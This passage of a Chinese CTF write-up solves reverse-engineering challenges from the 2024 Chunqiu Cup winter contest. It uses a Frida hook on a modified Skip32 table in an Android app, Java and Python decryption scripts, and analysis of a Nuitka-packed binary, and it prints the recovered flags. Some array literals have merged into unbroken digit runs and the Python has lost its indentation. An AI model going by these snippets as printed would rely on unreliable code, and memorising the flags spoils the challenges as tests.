 const ubyte data[] = {12523422421927214109852092331921131211943};
 //密文长度
 len = sizeof(data) / sizeof(ubyte);
 decoded = decrypt(key, data, len);
 printf("Decoded:%sn", decoded.data);
 //释放内存
 if (decoded.len > 0) {
  free(decoded.data);
  decoded.data = 0;
 }
 return 0;
}

得到username:7d77cfe8

再看checkpass

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

可以看到是个skip32算法

github上可以找到该算法的实现:https://github.com/boivie/skip32-java

这里魔改了密钥的长度,从10字节改成8字节

在native层JNI_OnLoad中反射修改了FTABLE的值

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

frida去hook一下ftable就行


function hook_RegisterNatives() {
    Java.perform(function(){
        let Skip32 = Java.use("com.ex.skip.Skip32");
        var data = Skip32.FTABLE.value;
        console.log(data);
            
    })
}

setImmediate(hook_RegisterNatives);
// 164,216,10,132,249,73,247,245,180,34,22,121,154,178,176,250,232,46,78,139,207,77,203,47,83,150,218,31,79,57,69,41,11,224,3,161,24,242,97,105,19,184,123,196,234,251,62,84,151,133,108,187,243,100,155,26,125,175,230,246,248,23,107,163,58,183,124,16,194,148,130,28,239,181,27,235,209,146,48,185,86,186,219,134,64,66,192,225,91,89,129,96,103,12,217,145,54,214,193,168,52,7,102,106,70,1,149,87,110,153,156,119,152,253,179,195,177,255,220,33,226,236,215,229,222,72,75,30,67,238,159,111,74,61,206,68,40,211,8,213,223,200,104,25,138,204,49,32,142,199,144,171,201,117,221,202,94,93,50,165,113,137,98,45,160,14,44,136,81,131,85,101,39,126,4,65,53,76,29,116,210,197,254,60,205,252,128,172,231,63,92,166,174,5,36,157,21,82,35,241,42,122,114,127,0,141,15,227,13,240,189,115,118,112,56,162,237,212,143,99,140,135,17,233,9,120,18,191,147,80,37,198,51,55,158,208,244,167,188,173,95,109,170,20,88,38,182,228,190,169,59,2,6,90,43,71

最后解密拿到flag

import java.util.Arrays;

public class Skip32 {
    private static final int FTABLE[] = {164,216,10,132,249,73,247,245,180,34,22,121,154,178,176,250,232,46,78,139,207,77,203,47,83,150,218,31,79,57,69,41,11,224,3,161,24,242,97,105,19,184,123,196,234,251,62,84,151,133,108,187,243,100,155,26,125,175,230,246,248,23,107,163,58,183,124,16,194,148,130,28,239,181,27,235,209,146,48,185,86,186,219,134,64,66,192,225,91,89,129,96,103,12,217,145,54,214,193,168,52,7,102,106,70,1,149,87,110,153,156,119,152,253,179,195,177,255,220,33,226,236,215,229,222,72,75,30,67,238,159,111,74,61,206,68,40,211,8,213,223,200,104,25,138,204,49,32,142,199,144,171,201,117,221,202,94,93,50,165,113,137,98,45,160,14,44,136,81,131,85,101,39,126,4,65,53,76,29,116,210,197,254,60,205,252,128,172,231,63,92,166,174,5,36,157,21,82,35,241,42,122,114,127,0,141,15,227,13,240,189,115,118,112,56,162,237,212,143,99,140,135,17,233,9,120,18,191,147,80,37,198,51,55,158,208,244,167,188,173,95,109,170,20,88,38,182,228,190,169,59,2,6,90,43,71};
    private static int g(byte[] key, int k, int w) {
        int g1, g2, g3, g4, g5, g6;

        g1 = w >> 8;
        g2 = w & 0xff;

        g3 = FTABLE[g2 ^ (key[(4 * k) % 8] & 0xFF)] ^ g1;
        g4 = FTABLE[g3 ^ (key[(4 * k + 1) % 8] & 0xFF)] ^ g2;
        g5 = FTABLE[g4 ^ (key[(4 * k + 2) % 8] & 0xFF)] ^ g3;
        g6 = FTABLE[g5 ^ (key[(4 * k + 3) % 8] & 0xFF)] ^ g4;

        return (g5 << 8) + g6;
    }

    public static void skip32(byte[] key, int[] buf, boolean encrypt) {
        int k; /* round number */
        int i; /* round counter */
        int kstep;
        int wl, wr;

        /* sort out direction */
        if (encrypt) {
            kstep = 1;
            k = 0;
        } else {
            kstep = -1;
            k = 23;
        }

        /* pack into words */
        wl = (buf[0] << 8) + buf[1];
        wr = (buf[2] << 8) + buf[3];

        /* 24 feistel rounds, doubled up */
        for (i = 0; i < 24 / 2; ++i) {
            wr ^= g(key, k, wl) ^ k;
            k += kstep;
            wl ^= g(key, k, wr) ^ k;
            k += kstep;
        }

        /* implicitly swap halves while unpacking */
        buf[0] = (wr >> 8);
        buf[1] = (wr & 0xFF);
        buf[2] = (wl >> 8);
        buf[3] = (wl & 0xFF);
    }


    public static int encrypt(int value, byte[] key) {
        int[] buf = new int[4];
        buf[0] = ((value >> 24) & 0xff);
        buf[1] = ((value >> 16) & 0xff);
        buf[2] = ((value >> 8) & 0xff);
        buf[3] = ((value >> 0) & 0xff);

        skip32(key, buf, true);

        int out = ((buf[0]) << 24) | ((buf[1]) << 16) | ((buf[2]) << 8)
                | (buf[3]);

        return out;
    }


    public static int ddd(int value, byte[] key) {
        int[] buf = new int[4];

        buf[0] = ((value >> 24) & 0xff);
        buf[1] = ((value >> 16) & 0xff);
        buf[2] = ((value >> 8) & 0xff);
        buf[3] = ((value >> 0) & 0xff);

        skip32(key, buf, false);

        int out = ((buf[0]) << 24) | ((buf[1]) << 16) | ((buf[2]) << 8)
                | (buf[3]);

        return out;
    }



    public static void main(String[] args) {
        byte[] key="7d77cfe8".getBytes();
        int[] iArr={52142226172108948051112516816423161242231006211670};
        for(int i=0;i<20;i+=4){
            int value=(iArr[i]<<24)|(iArr[i+1]<<16)|(iArr[i+2]<<8)|(iArr[i+3]);
            value=ddd(value,key);
            iArr[i]=((value >> 24) & 0xff);
            iArr[i+1] =((value >> 16) & 0xff);
            iArr[i+2] = ((value >> 8) & 0xff);
            iArr[i+3] = ((value) & 0xff);
        }


        StringBuilder sb = new StringBuilder();

        // 遍历 ASCII 值数组,将每个值转换为字符并添加到 StringBuilder
        for (int value : iArr) {
            sb.append((char) value);  // 将 ASCII 值转换为字符
        }

        System.out.println(sb.toString());

    }
}

用户名和密码拼接就是flag

flag{7d77cfe8c58b6a2f988bc9434a45}

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

Nu1tka

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

[题目writeup]:

ida64打开

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

这里是个跳板程序,直接动调拿到ApplicationName

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

去文件夹找到真正的程序

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

再用ida64打开

找到main字符串,交叉引用+动调找到main函数

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

一直跟到输入

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

我们可以点进函数,看到是input,后面的一些函数也是点进去,看看报错信息或者提示字符串判断是什么函数

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

输入必须是40个字节

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

循环将输入转成ascii列表

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析
int.from_bytes(data,"little")

转化成4字节数组

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析
春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

这里存放了两个数组,跟到后面可以发现分别是key和密文

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

输入和key进行了异或,然后和密文进行比较

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

提取出密文和key异或就能得到flag,这里得注意python存放数据uint32是以30bit为单位的,需要自己转化一下,才能得到正确的数据

详细参考longintrepr.h

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析
key=[0xf5138033,0x985a0194,0xb4c41b8f,0x8b1e6089,0x8db7419b,0xdc6873f3,0x849faa92,0xb0d6b47e,0xa3ad4395,0xb3ea34c7]
enc=[0x9272ec55,0xa86f64ef,0x8ca02ded,0xba2a4def,0xe99a25fa,0xf10b4bc2,0xe2a89bf4,0xd2e28553,0x909920a3,0xcedd52a6]
for i in range(len(enc)):
enc[i]^=key[i]
import libnum
for i in enc:
print(libnum.n2s(i).decode()[::-1],end="")

flag{e50b6d8f-41ad-d18c-f17f-14b6c43af7}

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析
春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

点击“阅读原文”立即参赛

原文始发于微信公众号(春秋伽玛):春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月20日13:35:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析https://cn-sec.com/archives/3645438.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息